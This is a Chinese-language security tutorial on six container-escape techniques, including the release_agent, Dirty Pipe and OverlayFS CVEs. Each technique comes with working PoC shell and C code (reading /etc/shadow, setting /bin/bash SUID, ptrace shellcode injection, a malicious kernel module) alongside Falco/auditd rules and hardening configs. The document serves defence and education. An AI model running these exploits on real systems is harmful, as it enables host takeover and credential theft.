免责声明

本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术细节、PoC代码和攻击方法均基于已公开的安全研究与CVE披露,旨在帮助安全从业者理解和防御容器逃逸威胁。


引言:容器与虚拟机的根本差异

要理解容器逃逸的本质,必须先回到容器与虚拟机在架构层面的根本差异。

虚拟机(VM)通过 Hypervisor 提供硬件级隔离,每个 VM 拥有独立的内核。而容器并非一个"轻量级虚拟机"——它本质上只是宿主机上一个被 namespaces(命名空间)和 cgroups(控制组)"装扮"过的普通进程。所有容器共享同一个宿主机内核。

一个更准确的隐喻是:容器是"戴着不同 VR 头盔的进程"。Namespaces 决定了进程能"看到"什么(视图隔离),cgroups 决定了进程能用多少资源(配额隔离),但底下那个真实运转的内核("真实世界")只有一个,所有容器都在与它对话。

        ┌──────────────────────────────────────────────────┐
        │              虚拟机架构(每 VM 独立内核)          │
        │  ┌─────────┐ ┌─────────┐ ┌─────────┐            │
        │  │Guest 内核│ │Guest 内核│ │Guest 内核│            │
        │  └────┬────┘ └────┬────┘ └────┬────┘            │
        │       │           │           │                   │
        │  ┌────┴───────────┴───────────┴────┐            │
        │  │          Hypervisor / VMM        │            │
        │  └────────────────┬────────────────┘            │
        │                   │                              │
        └───────────────────┼──────────────────────────────┘
                            │
                         硬件 CPU

        ┌──────────────────────────────────────────────────┐
        │       容器架构(共享宿主内核,仅视图隔离)          │
        │  ┌─────────┐ ┌─────────┐ ┌─────────┐            │
        │  │  容器 A  │ │  容器 B  │ │  容器 C  │  ← 进程   │
        │  │NS+Cgroup│ │NS+Cgroup│ │NS+Cgroup│    "VR头盔" │
        │  └────┬────┘ └────┬────┘ └────┬────┘            │
        │       └───────────┼───────────┘                  │
        │              ┌────┴────┐                          │
        │              │宿主机内核│  ← 唯一真实世界           │
        │              └────┬────┘                          │
        └───────────────────┼──────────────────────────────┘
                            │
                         硬件 CPU

正是这种"共享内核"的设计,使得容器逃逸的攻击面与虚拟机逃逸截然不同。虚拟机逃逸需要攻破 Hypervisor(极难),而容器逃逸只要找到内核中"不尊重命名空间边界"的代码路径即可。

按根因与攻击难度,容器逃逸可分为三个层次:

层次 描述 占比(经验估计) 典型代表
第一层:配置不当 特权容器、危险挂载、过度 capabilities 90%+ --privilegedhostPID、挂载 /
第二层:隔离机制设计假设被打破 内核 helper、页缓存、copy-up 等未考虑 NS 隔离 ~8% cgroup release_agent、Dirty Pipe、OverlayFS
第三层:纯内核漏洞 内核内存破坏类 0day ~2% 各类 UAF/堆溢出

第一层是"运维失误",第二层是"内核设计缺陷"——本文聚焦的正是第二层与第一层的交界地带:六种直接与宿主内核对话的逃逸技术。它们之所以危险,是因为攻击者并不需要打内核内存破坏漏洞,而是利用内核自身提供的、本应"只给宿主 root 用"的合法机制,而这些机制压根不感知容器的命名空间边界。


技术一:Cgroup release_agent 利用(CVE-2022-0492)

原理

Cgroup v1 提供了一个 release_agent 机制:当某个 cgroup 中最后一个进程退出时,内核会调用该 cgroup 配置的 release_agent 脚本。关键问题在于——这个脚本是以 root 身份、在宿主机初始命名空间(initial namespace)中执行的,相当于直接以宿主机 root 身份运行任意命令。

release_agent 的初衷是做资源清理(比如回收 cgroup 目录),但它本质上是宿主机的一个"以 root 主动执行任意路径脚本"的钩子,与容器隔离毫无关系。

   容器内进程退出 cgroup
            │
            ▼
   内核检测 cgroup 为空(notify_on_release=1)
            │
            ▼
   内核以 init_ns root 身份调用 release_agent 路径
            │
            ▼
   ★ 在宿主机初始命名空间执行 ★(不受容器 NS 约束)

漏洞根因

正常情况下,设置 release_agent 需要 CAP_SYS_ADMIN 权限。但 CVE-2022-0492 的根因在于:内核 cgroup_release_agent_write() 函数在检查权限时,使用的是 ns_capable() 而非 ns_capable(..., &init_user_ns)

ns_capable() 默认针对当前进程所在的 user namespace 进行检查。这意味着,一个普通容器进程只要能通过 unshare -Ur 创建一个新的 user namespace,就能在该新 userns 内获得 CAP_SYS_ADMIN(user namespace 的特性:在新 userns 内自动拥有全部 capabilities),从而满足检查,进而设置 release_agent

补丁(内核 5.17 合入)将检查改为 ns_capable(..., &init_user_ns),强制要求权限来自初始用户命名空间。

PoC 代码

#!/bin/bash
# CVE-2022-0492 cgroup v1 release_agent 逃逸 PoC
# 前提:容器允许 user namespace(未禁用 unshare -Ur)

# 1. 创建新的 user + mount + cgroup namespace,在其中获得 CAP_SYS_ADMIN
unshare -urmc bash -c '
  # 2. 挂载一个 cgroup v1 子系统
  mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
  mkdir /tmp/cgrp/x

  # 3. 开启 notify_on_release
  echo 1 > /tmp/cgrp/x/notify_on_release

  # 4. 获取容器在宿主机上的真实路径(overlay upperdir)
  host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)

  # 5. 将 release_agent 指向宿主机路径下的 payload
  echo "$host_path/cmd" > /tmp/cgrp/x/release_agent
'

# 6. 在容器内写入 payload(对应宿主机 upperdir 路径)
cat > /cmd <<EOF
#!/bin/sh
cat /root/flag.txt > /output 2>&1
EOF
chmod +x /cmd

# 7. 触发:让一个进程进入该 cgroup 然后退出
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"

检测

Falco 规则示例:

- rule: Cgroup release_agent Modified in Container
  desc: 检测容器内修改 cgroup release_agent,疑似 CVE-2022-0492 逃逸
  condition: >
    container.id != host and
    (open_write and fd.name contains "release_agent")
  output: >
    Suspicious release_agent write (user=%user.name
    container=%container.id image=%container.image.repository
    file=%fd.name command=%proc.cmdline)
  priority: WARNING
  tags: [container, escape, mitre_privilege_escalation]

防御

防御措施 说明
升级内核至 5.17+ 修复权限检查,强制要求 init_user_ns 的 CAP_SYS_ADMIN
迁移至 cgroup v2 v2 的 release_agent 机制被移除/收紧
seccomp 阻止 mount 在 seccomp profile 中禁止 mount 系统调用
禁用 user namespace 设置 user.max_user_namespaces=0,阻断 unshare -Ur

技术二:Namespace 切换 / Unshare 逃逸

原理

Namespace 是容器隔离的基石,但它并非单向"关押"——进程可以主动通过系统调用加入其他 namespace。setns() 系统调用允许一个进程通过一个指向 /proc/<pid>/ns/<type> 的文件描述符,把自己"切换"到目标进程所在的命名空间。这正是 nsenter 工具的底层实现。

如果容器能访问到宿主机进程的 namespace fd(例如特权容器 + hostPID),那么容器进程可以直接 setns 进入宿主机 PID/mount/net 等命名空间,从而"逃出"容器。

三个关键系统调用

系统调用 作用 是否创建新进程 典型场景
clone() 创建新进程并可同时进入新的命名空间 是(新进程) fork 出隔离子进程
unshare() 将当前进程移入新创建的命名空间 否(修改自身) 容器 runtime 自隔离
setns() 将当前进程加入一个已存在的命名空间(通过 fd) 否(修改自身) nsenter、调试、逃逸
   setns() 工作流:
   ┌──────────────┐         fd = open("/proc/1/ns/mnt")
   │  容器进程     │ ────────────────────────────────────┐
   │  (在容器NS)   │                                       │
   └──────┬───────┘                                       ▼
          │ setns(fd, CLONE_NEWNS)            ┌─────────────────┐
          │ ─────────────────────────────────►│ 宿主机 PID 1 的  │
          │                                    │ mount namespace │
          ▼                                    └─────────────────┘
   ┌──────────────┐
   │  容器进程     │  ← 现在视图切换到宿主机 mount NS
   │ (在宿主NS)   │     可访问宿主机文件系统
   └──────────────┘

PoC:三种场景

场景 A:特权容器 + hostPID

最简单。容器拥有宿主机 PID 命名空间,可直接看到并操作 PID 1:

# 容器以 --privileged --pid=host 启动
nsenter -t 1 -m -u -i -n -- /bin/sh
# 直接获得宿主机 shell

场景 B:CAP_SYS_ADMIN + unshare

容器拥有 CAP_SYS_ADMIN,可 unshare 新命名空间后挂载宿主机文件系统:

unshare -m bash -c '
  mkdir /tmp/host
  mount /dev/sda1 /tmp/host     # 挂载宿主根分区
  chroot /tmp/host /bin/sh
'

场景 C:通过 /proc/pid/root 符号链接

即使没有 hostPID,若挂载了宿主机 /proc 或可访问某宿主进程的 /proc/<pid>/root

ls -la /proc/1/root        # -> 指向宿主机根目录
chroot /proc/1/root /bin/sh

C 代码示例

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    int target_pid = 1;  // 宿主机 init 进程

    // 1. 打开目标进程各命名空间的 fd
    char ns_path[64];
    snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/mnt", target_pid);
    int mnt_fd = open(ns_path, O_RDONLY);

    snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/pid", target_pid);
    int pid_fd = open(ns_path, O_RDONLY);

    snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/net", target_pid);
    int net_fd = open(ns_path, O_RDONLY);

    // 2. 依次 setns 加入宿主机命名空间
    setns(mnt_fd, CLONE_NEWNS);
    setns(pid_fd,  CLONE_NEWPID);
    setns(net_fd,  CLONE_NEWNET);

    // 3. 切换根目录并执行宿主机 shell
    chdir("/proc/1/root");
    chroot("/proc/1/root");
    execl("/bin/sh", "sh", NULL);

    return 0;
}

检测

- rule: Namespace Enter From Container
  desc: 检测容器内执行 nsenter/unshare,疑似命名空间逃逸
  condition: >
    container.id != host and
    (proc.name in (nsenter, unshare) or
     spawned_process and proc.args contains "/proc/")
  output: >
    Namespace manipulation in container
    (user=%user.name container=%container.id
    proc=%proc.name args=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape]

防御

防御措施 说明
禁止 hostPID / hostIPC / hostNetwork 切断容器访问宿主进程的 namespace fd
限制 user namespace user.max_user_namespaces=0
seccomp 阻止 setns/unshare 在 seccomp profile 中 deny 这两个系统调用
避免特权容器 杜绝 --privileged,按需授予单个 capability

技术三:procfs/sysfs 滥用

原理

Linux 内核提供了一系列 "helper" 机制:当某些内核事件发生时,内核会主动调用用户空间配置的某个程序路径。这些 helper 的设计早于容器化时代,它们完全不受命名空间隔离约束,且执行身份为宿主机 root(pid 1 上下文)。

这意味着:只要容器能写这些 /proc/sys/.../sys/... 路径,就等于获得了一个宿主机 root 命令执行钩子。

三个高危路径

路径 触发时机 执行身份 危险性
/proc/sys/kernel/core_pattern 进程崩溃产生 core dump 宿主 root,在崩溃进程的 cwd 极高
/proc/sys/kernel/modprobe_path 内核请求加载模块 宿主 root 极高
/sys/kernel/uevent_helper 设备热插拔事件 宿主 root

PoC:core_pattern 逃逸

core_pattern| 开头时,内核会将崩溃进程的 core dump 通过管道传给指定程序,该程序以宿主机 root 身份执行

#!/bin/bash
# core_pattern 逃逸 PoC(需要容器能写 /proc/sys/kernel/core_pattern)

# 1. 获取容器在宿主机的真实路径
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)

# 2. 准备 payload,输出到容器内可见路径
cat > /cmd <<EOF
#!/bin/sh
id > $host_path/output
cat /etc/shadow >> $host_path/output
EOF
chmod +x /cmd

# 3. 将 core_pattern 指向 payload(| 表示管道执行)
echo "|$host_path/cmd" > /proc/sys/kernel/core_pattern

# 4. 触发一个进程崩溃,内核将以 root 调用 /cmd
sleep 1000 &
kill -SIGSEGV %1
wait

# 5. 读取结果
cat /output
   触发流程:
   ┌─────────────┐    SIGSEGV     ┌──────────────┐
   │ sleep 1000  │ ─────────────► │  内核收到崩溃  │
   └─────────────┘                └──────┬───────┘
                                         │ 查 core_pattern
                                         ▼
                              ┌────────────────────┐
                              │ |<host_path>/cmd    │
                              └─────────┬──────────┘
                                         │ 以宿主 root 执行
                                         ▼
                              ┌────────────────────┐
                              │ /cmd 在宿主 NS 运行 │
                              │ → 写出 shadow       │
                              └────────────────────┘

PoC:modprobe_path 滥用

modprobe_path 在内核需要加载未知模块时被调用,例如执行一个未知二进制格式:

# 1. 获取宿主路径并准备 payload
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\nchmod 4777 /bin/bash" > /cmd
chmod +x /cmd

# 2. 覆盖 modprobe_path
echo "$host_path/cmd" > /proc/sys/kernel/modprobe_path

# 3. 触发:执行一个未知 magic 的二进制
#   内核会调用 modprobe_path 指向的程序
echo -ne '\xff\xff\xff\xff' > /tmp/unknown
chmod +x /tmp/unknown
/tmp/unknown 2>/dev/null

# 4. 现在 /bin/bash 是 SUID root
/bin/bash -p

PoC:uevent_helper 滥用

host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\n$host_path/cmd_payload" > /cmd
chmod +x /cmd
echo "$host_path/cmd" > /sys/kernel/uevent_helper
# 触发一个 uevent(如操作 /sys/class/net 设备)
echo "change" > /sys/class/net/eth0/uevent

检测

- rule: Kernel Helper Path Modified in Container
  desc: 检测容器内修改 core_pattern/modprobe_path/uevent_helper
  condition: >
    container.id != host and
    open_write and
    (fd.name=/proc/sys/kernel/core_pattern or
     fd.name=/proc/sys/kernel/modprobe_path or
     fd.name=/sys/kernel/uevent_helper)
  output: >
    Kernel helper path tampering
    (file=%fd.name container=%container.id
    proc=%proc.cmdline user=%user.name)
  priority: CRITICAL
  tags: [container, escape, kernel]

防御

防御措施 说明
/proc/sys 只读挂载 容器 runtime 默认应只读挂载 procfs/sysfs
AppArmor/SELinux 屏蔽 profile 中 deny 写这些危险路径
禁止特权容器 /proc/sys 需要 CAP_SYS_ADMIN
内核 hardening 部分发行版可配置 kernel.modules_disabled=1

技术四:页缓存共享攻击(Dirty Pipe, CVE-2022-0847)

原理

这是容器逃逸中最"优雅"的一类——它利用的不是命名空间漏洞,而是 Linux 页缓存(page cache)的全局共享特性,配合一个内核 bug,实现"以普通权限覆盖只读文件内容"。

背景知识:Linux 通过页缓存加速文件 I/O。同一个文件的所有进程共享同一份页缓存副本,与命名空间无关。这意味着容器内进程修改页缓存,等于修改了宿主机上所有进程看到的文件内容。

漏洞根因:在 splice() 系统调用向 pipe 写入数据的路径中,内核未正确清除 pipe_buffer 结构体中的 PIPE_BUF_FLAG_CAN_MERGE 标志位。正常情况下 pipe 写入应该追加在末尾,但由于该标志位残留,写入会"合并"到 splice 进来的那个页——而这个页正是目标文件在页缓存中的页。

效果:攻击者可以对任意有读权限的文件(包括只读挂载的文件)进行任意写入,覆盖其页缓存内容。

   正常 pipe 写入:追加到 pipe 末尾新页
   ┌────┬────┬────┬────┐
   │ p0 │ p1 │ p2 │ p3 │  ← write 在末尾追加
   └────┴────┴────┴────┘

   Dirty Pipe:splice 注入目标文件页,CAN_MERGE 残留
   ┌────┬────┬────┬──────────────┐
   │ p0 │ p1 │ p2 │ 目标文件页!!  │  ← write 覆盖了目标文件页缓存
   └────┴────┴────┴──────┬───────┘
                         │ 该页同时映射到目标文件
                         ▼
                  文件内容被篡改(绕过 VFS 权限)

6 步利用序列(C 代码)

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>

int main() {
    const char *target = "/etc/passwd";
    // 要写入的内容:在偏移 1 处覆盖,使 root 行密码置空
    const char *data = "toor::0:0:root:/root:/bin/sh\n";

    // 步骤 1:以只读方式打开目标文件(只需读权限即可!)
    int fd = open(target, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    // 步骤 2:创建一个 pipe
    int p[2];
    pipe(p);

    // 步骤 3:填满 pipe(16 个页,让所有 pipe_buffer 的 CAN_MERGE 置位)
    char buf[4096];
    for (int i = 0; i < 16; i++) {
        write(p[1], buf, sizeof(buf));
    }

    // 步骤 4:排出 1 个字节(让 pipe 头部空出一个页,offset=1)
    read(p[0], buf, 1);

    // 步骤 5:用 splice 把目标文件偏移 1 处的 1 字节"注入"pipe
    //   关键:这一步让目标文件的页进入 pipe_buffer,
    //        但 CAN_MERGE 标志位未被清除
    loff_t offset = 1;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) { perror("splice"); return 1; }

    // 步骤 6:向 pipe 写入数据 —— 由于 CAN_MERGE 残留,
    //   数据被合并到目标文件页缓存,等于覆盖文件偏移 1 处内容
    write(p[1], data, strlen(data));

    printf("[+] 文件页缓存已被覆盖\n");
    close(fd);
    return 0;
}

容器逃逸路径

容器内的攻击目标通常是宿主机文件系统中存在的 SUID 二进制(如 /bin/su/usr/bin/passwd),它们通过容器 overlay 挂载仍然映射到同一份页缓存。攻击者覆盖 SUID 二进制的内容为恶意 shellcode,随后宿主机或高权限进程执行它即可获得 root。

   容器内                          宿主机
   ┌──────────────────┐           ┌──────────────────────┐
   │ 覆盖 /bin/passwd │           │                      │
   │ 页缓存为 shellcode│ ──同一页缓存─►│ /bin/passwd 内容被改 │
   └──────────────────┘           │                      │
                                  │ 任意用户执行 su       │
                                  │ → 运行 shellcode     │
                                  │ → 宿主 root shell    │
                                  └──────────────────────┘

关键特性

特性 说明
无需 capabilities 只要能读目标文件即可,普通用户权限足矣
无竞态条件 同步操作,100% 可靠,非 TOCTOU
readOnly 挂载无效 只读挂载只影响 VFS 写路径,页缓存绕过 VFS
重启失效 页缓存是内存态,重启后恢复磁盘原始内容
影响内核 5.8 ≤ 内核 < 5.16.11 / 5.15.25 / 5.10.102

检测

Datadog CWS(Cloud Workload Security)规则示例:

- rule: Dirty Pipe File Overwrite Attempt
  desc: 检测 splice 后立即 write 的模式,疑似 CVE-2022-0847
  condition: >
    syscall.splice and
    (syscall.write within 1s) and
    proc.container.id != ""
  output: >
    Possible Dirty Pipe exploitation
    (container=%container.id proc=%proc.cmdline
    file=%syscall.splice.args.fd_out)
  priority: CRITICAL
  tags: [cve-2022-0847, container_escape]

防御

防御措施 说明
升级内核 升级到 ≥5.16.11 / ≥5.15.25 / ≥5.10.102
seccomp 阻止 splice/tee/vmsplice deny 这些系统调用可阻断利用路径
Rootless 容器 rootless 模式下容器进程映射到非 root uid,限制可写目标
最小文件权限 减少容器可读的 SUID 二进制

技术五:OverlayFS 漏洞利用(CVE-2023-0386)

原理

OverlayFS 是容器镜像的默认存储驱动,通过"叠加" lowerdir(只读镜像层)和 upperdir(可写层)实现分层文件系统。当容器对 lower 层文件进行写操作时,OverlayFS 会触发 copy-up:将文件从 lower 复制到 upper。

CVE-2023-0386 的根因在于:copy-up 操作在复制文件时未检查文件的 SUID 位和 UID/GID 映射。这导致一个位于 lower 层(如 FUSE 挂载)的 SUID-root 二进制,被 copy-up 到 upper 层后,依然保留 SUID 位,且其属主被映射为宿主机真实 root。

攻击者借此"走私"一个 SUID root 二进制到宿主机文件系统,随后在宿主机上执行它即可提权。

   攻击链:
   ┌──────────────┐   1. FUSE 挂载含 SUID-root 二进制(lower)
   │  FUSE 源     │ ─────────────────────────────────────────┐
   │  suid x.c    │                                          │
   └──────────────┘                                          ▼
                      2. unshare user+mount NS           ┌────────┐
                      3. mount overlay(lower=FUSE)       │ lower  │ SUID root
                      4. touch 触发 copy-up              └───┬────┘
                                                          copy-up(不检查映射)
                                                              ▼
                                                          ┌────────┐
                                                          │ upper  │ SUID root
                                                          │  保留  │ → 宿主真实 root
                                                          └────────┘
                      5. exit NS → 文件留在宿主机可见的 upper
                      6. 宿主机执行该 SUID 二进制 → root

补丁分析

漏洞补丁在 ovl_copy_up_one() 中增加了 kuid_has_mapping() 检查:copy-up 时验证源文件的 kuid/kgid 是否在目标 mount 的 user namespace 中有映射。若无映射(如 FUSE 中的全局 root uid),则拒绝 copy-up 或剥离 SUID 位。

// 补丁核心逻辑(简化)
static int ovl_copy_up_one(struct dentry *parent, ...) {
    ...
    // 新增:检查 UID/GID 映射
    if (!kuid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.uid) ||
        !kgid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.gid)) {
        // 拒绝保留 SUID/SGID
        stat.mode &= ~(S_ISUID | S_ISGID);
    }
    ...
}

PoC

步骤 1:FUSE 伪装 SUID 二进制

// fuse_suid.c —— FUSE 文件系统返回一个 SUID-root 二进制
#define FUSE_USE_VERSION 31
#include <fuse3/fuse.h>
#include <string.h>
#include <sys/stat.h>

static const char *suid_binary =
    "\x7f\x45\x4c\x46" /* ELF magic,此处省略完整 shellcode */;

static int myfs_getattr(const char *path, struct stat *st, ...) {
    if (strcmp(path, "/suid") == 0) {
        st->st_mode = S_IFREG | 04755;  // SUID + 0755
        st->st_uid = 0;                 // root
        st->st_size = strlen(suid_binary);
        return 0;
    }
    return -ENOENT;
}
// ... fuse 操作实现省略

步骤 2:触发 copy-up 并执行

#!/bin/bash
# CVE-2023-0386 OverlayFS SUID 走私 PoC

# 1. 启动 FUSE 文件系统,提供 SUID-root 二进制
./fuse_suid /tmp/fuse_lower &

# 2. 在 user+mount namespace 中挂载 overlay
unshare -UrM bash -c '
  mkdir /tmp/overlay/{upper,work,mnt}
  mount -t overlay overlay \
    -o lowerdir=/tmp/fuse_lower,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \
    /tmp/overlay/mnt

  # 3. touch 触发 copy-up(FUSE 的 SUID 二进制被复制到 upper)
  touch /tmp/overlay/mnt/suid
'

# 4. 退出 namespace 后,upper 中的 suid 仍为 SUID-root
ls -la /tmp/overlay/upper/suid
# -rwsr-xr-x 1 root root ... /tmp/overlay/upper/suid

# 5. 在宿主机上以普通用户执行 → 提权到 root
/tmp/overlay/upper/suid

SUID 提权二进制 C 代码:

// suid_root.c —— 编译后设置 SUID 位
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    // SUID 程序以文件属主身份执行 → root
    if (setuid(0) || setgid(0)) {
        perror("setuid");
        return 1;
    }
    printf("[+] now root: uid=%d euid=%d\n", getuid(), geteuid());
    system("/bin/sh");
    return 0;
}

检测

auditd 规则,监控 overlay 文件的 SUID 位创建:

# /etc/audit/rules.d/overlay.rules
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
  -F dir=/var/lib/docker -F a2&04000 -k overlay_suid_set
-a always,exit -F arch=b64 -S mount -k overlay_mount

防御

防御措施 说明
升级内核至 6.2+ 合入 kuid_has_mapping 检查
禁用 user namespace user.max_user_namespaces=0,阻断 unshare 挂载 overlay
限制 FUSE seccomp/AppArmor 禁止容器内 FUSE 挂载
监控 SUID 创建 auditd 监控 overlay 目录中 SUID 位变更

技术六:内核 Capabilities 滥用

原理

Linux capabilities 将传统 root 权限拆分为数十个细粒度权限位。容器通常以 root 运行,但通过"丢弃"部分 capabilities 来降权。然而,部分单个 capability 本身就足以等同宿主机 root——一旦容器保留了这些危险 capability,逃逸门槛骤降。

capabilities 是内核级概念,不受容器命名空间约束:拥有 CAP_SYS_ADMIN 的容器进程对内核而言就是"在当前 userns 内的特权进程"。

最危险 capabilities

Capability 危险能力 逃逸利用
CAP_SYS_ADMIN "新 root",可挂载、改 cgroup、ioctrl 几乎所有上述技术的前置条件
CAP_SYS_MODULE 加载/卸载内核模块 insmod 恶意 .ko,内核态任意代码
CAP_SYS_PTRACE ptrace 任意进程 进程注入、读取宿主进程内存
CAP_SYS_RAWIO 原始 I/O 访问 直接读写 /dev/mem、磁盘设备
CAP_DAC_READ_SEARCH 绕过文件读权限检查 读取宿主机任意文件
CAP_NET_ADMIN 网络配置 修改路由、创建网卡、ARP 欺骗

PoC:三种典型滥用

1. CAP_SYS_ADMIN → cgroup 逃逸

即技术一的后半段(无需 unshare,直接有权限):

# 容器以 --cap-add SYS_ADMIN 启动
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/x/release_agent
echo -e '#!/bin/sh\nchmod 4777 /bin/bash' > /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"

2. CAP_SYS_PTRACE → 进程注入(C 代码)

需配合 hostPID 看到宿主机进程:

#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdio.h>
#include <string.h>

// 经典 shellcode:execve("/bin/sh")
char shellcode[] =
    "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0"
    "\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53"
    "\x48\x89\xe7\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
    pid_t target = atoi(argv[1]);  // 宿主机进程 PID

    // 1. 附加到目标进程
    if (ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) {
        perror("PTRACE_ATTACH"); return 1;
    }
    waitpid(target, NULL, 0);

    // 2. 获取寄存器
    struct user_regs_struct regs;
    ptrace(PTRACE_GETREGS, target, NULL, &regs);

    // 3. 逐字注入 shellcode 到 RIP 处
    long *src = (long *)shellcode;
    for (int i = 0; i < sizeof(shellcode) / sizeof(long); i++) {
        ptrace(PTRACE_POKETEXT, target,
               regs.rip + i * sizeof(long), src[i]);
    }

    // 4. 恢复执行,目标进程以宿主身份跑 shellcode
    ptrace(PTRACE_CONT, target, NULL, NULL);

    // 5. 分离
    ptrace(PTRACE_DETACH, target, NULL, NULL);
    return 0;
}

3. CAP_SYS_MODULE → 加载内核模块

# 准备一个恶意内核模块 init_module 会调用 run_cmd
cat > rootkit.c <<'EOF'
#include <linux/module.h>
#include <linux/kmod.h>
static int __init rootkit_init(void) {
    char *argv[] = {"/bin/sh", "-c", "chmod 4777 /bin/bash", NULL};
    char *envp[] = {"PATH=/usr/bin", NULL};
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    return 0;
}
module_init(rootkit_init);
MODULE_LICENSE("GPL");
EOF

# 编译并加载(CAP_SYS_MODULE 直接 insmod)
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod rootkit.ko
# /bin/bash 现已 SUID root

检测

- rule: Suspicious Capability Usage in Container
  desc: 检测容器内 ptrace/insmod/cgroup 挂载等危险操作
  condition: >
    container.id != host and
    (proc.name=insmod or
     proc.name in (strace, gdb, ltrace) or
     (open_write and fd.name contains "cgroup.procs"))
  output: >
    Dangerous capability usage
    (container=%container.id proc=%proc.name
    cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape, capabilities]

防御

防御措施 说明
--cap-drop ALL 丢弃所有 capabilities,按需 --cap-add 极少项
K8s PSS restricted Pod Security Standards restricted 策略禁止多数 cap
seccomp 默认 profile 限制 ptrace/module 相关系统调用
审计 SUID/SGID 定期扫描容器内新增的 SUID 二进制

综合防御架构

容器逃逸防御是一个纵深体系,单点防护难以奏效。以下是综合方案。

1. K8s 最小权限 Pod 配置示例

apiVersion: v1
kind: Pod
metadata:
  name: hardened-app
  labels:
    app: hardened-app
spec:
  # 1. 强制非 root 运行
  securityContext:
    runAsNonRoot: true
    runAsUser: 10001
    runAsGroup: 10001
    fsGroup: 10001
    seccompProfile:
      type: RuntimeDefault          # 启用默认 seccomp profile
  containers:
  - name: app
    image: myapp:1.0
    # 2. 容器级安全加固
    securityContext:
      allowPrivilegeEscalation: false   # 禁止 SUID 提权
      privileged: false                  # 非特权
      readOnlyRootFilesystem: true       # 根文件系统只读
      runAsNonRoot: true
      capabilities:
        drop:                            # 丢弃所有 capabilities
          - ALL
        # add: []                        # 仅按需添加,原则上留空
    # 3. 资源与挂载最小化
    resources:
      limits:
        memory: "256Mi"
        cpu: "500m"
    volumeMounts:
    - name: tmp
      mountPath: /tmp
  volumes:
  - name: tmp
    emptyDir: {}                          # 可写临时目录
  # 4. 禁止 host 命名空间共享
  hostPID: false
  hostIPC: false
  hostNetwork: false

2. OPA Gatekeeper 策略(阻止特权 Pod)

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sdisallowprivileged
spec:
  crd:
    spec:
      names:
        kind: K8sDisallowPrivileged
  targets:
  - target: admission.k8s.gatekeeper.sh
    rego: |
      package k8sdisallowprivileged

      violation[{"msg": msg}] {
        container := input.review.object.spec.containers[_]
        container.securityContext.privileged == true
        msg := sprintf("容器 %v 禁止使用 privileged: true", [container.name])
      }

      violation[{"msg": msg}] {
        container := input.review.object.spec.containers[_]
        cap := container.securityContext.capabilities.add[_]
        cap == "SYS_ADMIN"
        msg := sprintf("容器 %v 禁止添加 CAP_SYS_ADMIN", [container.name])
      }

      violation[{"msg": msg}] {
        input.review.object.spec.hostPID == true
        msg := "禁止使用 hostPID"
      }
---
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sDisallowPrivileged
metadata:
  name: no-privileged-pods
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
    excludedNamespaces: ["kube-system"]

3. 六种技术对比总结表

技术 CVE 根因 前提条件 影响内核版本 是否需要特权
Cgroup release_agent CVE-2022-0492 权限检查用 ns_capable 未限定 init_user_ns user namespace 可用 + cgroup v1 < 5.17 否(unshare 即可)
Namespace 切换 setns 合法机制被滥用 hostPID / CAP_SYS_ADMIN / 可访问 /proc/pid/ns 全版本 视场景而定
procfs/sysfs 滥用 内核 helper 不感知 NS 隔离 可写 /proc/sys(CAP_SYS_ADMIN 或特权) 全版本 是(需写 /proc/sys)
Dirty Pipe CVE-2022-0847 splice 未清除 PIPE_BUF_FLAG_CAN_MERGE 可读目标文件 5.8 ~ 5.16.10 否(普通权限)
OverlayFS copy-up CVE-2023-0386 copy-up 未检查 kuid 映射,走私 SUID user namespace + FUSE < 6.2 否(unshare + FUSE)
Capabilities 滥用 单个 cap 等同 root 容器保留危险 cap 全版本 视 cap 而定

4. 纵深防御清单

   应用层    ┌─────────────────────────────────────────┐
            │ OPA Gatekeeper / Kyverno 准入控制         │
            │ Pod Security Standards (restricted)       │
            ├─────────────────────────────────────────┤
   容器层    │ runAsNonRoot / readOnlyRootFS            │
            │ seccomp RuntimeDefault / 自定义 profile    │
            │ cap-drop ALL / AppArmor / SELinux         │
            ├─────────────────────────────────────────┤
